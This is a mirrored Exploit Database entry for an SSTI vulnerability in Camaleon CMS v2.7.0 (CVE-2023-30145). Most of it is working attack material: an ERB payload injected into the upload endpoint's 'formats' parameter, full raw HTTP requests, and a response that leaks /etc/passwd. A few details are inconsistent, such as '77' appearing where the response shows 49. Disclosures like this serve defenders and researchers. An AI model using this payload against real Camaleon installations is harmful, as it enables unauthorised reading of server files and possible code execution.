Camaleon CMS v2.7.0 – Server-Side Template Injection (SSTI)

• Exploit Database
• 131 阅读

• 作者： PARAG BAGUL
  日期： 2023-05-26
• 类别：

  • webapps
  平台：

  • ruby
• 来源：https://www.exploit-db.com/exploits/51489/
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  Exploit Title: Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) Exploit Author: PARAG BAGUL CVE: CVE-2023-30145   ## Description Camaleon CMS v2.7.0 was discovered to contain a Server-Side Template Injection (SSTI) vulnerability via the formats parameter.   ## Affected Component All versions below 2.7.0 are affected.   ## Author Parag Bagul   ## Steps to Reproduce 1. Open the target URL: <code>https://target.com/admin/media/upload 2. Upload any file and intercept the request. 3. In the <code>formats</code> parameter value, add the payload <code>test<%= 7*7 %>test</code>. 4. Check the response. It should return the multiplication of 77 with the message "File format not allowed (dqopi49vuuvm)".   ##Detection:   #Request:   POST /admin/media/upload?actions=false HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://target.com/admin/profile/edit X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------327175120238370517612522354688 Content-Length: 1200 Origin: http://target.com DNT: 1 Connection: close Cookie: cookie   -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="file_upload"; filename="test.txt" Content-Type: text/plain   test   -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="versions"   -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="thumb_size"   -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="formats"   test<%= 7*7 %>test -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="media_formats"   image -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="dimension"   -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="private"   -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="folder"   / -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="skip_auto_crop"   true -----------------------------327175120238370517612522354688--   #Response:   HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK Cache-Control: max-age=0, private, must-revalidate Set-Cookie: cookie Content-Length: 41   File format not allowed (test49test)   #Exploitation:   To execute a command, add the following payload: testqopi<%= File.open(&apos;/etc/passwd&apos;).read %>fdtest   Request:   POST /admin/media/upload?actions=true HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://target.com/admin/media X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------104219633614133026962934729021 Content-Length: 1237 Origin: http://target.com DNT: 1 Connection: close Cookie: cookie   -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="file_upload"; filename="test.txt" Content-Type: text/plain   test   -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="versions"   -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="thumb_size"   -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="formats"   dqopi<%= File.open(&apos;/etc/passwd&apos;).read %>fdfdsf -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="media_formats"   -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="dimension"   -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="private"   -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="folder"   / -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="skip_auto_crop"   true -----------------------------104219633614133026962934729021--   Response:   Response:   HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK Set-Cookie: cookie Content-Length: 1816   File format not allowed (dqopiroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin fdfdsf)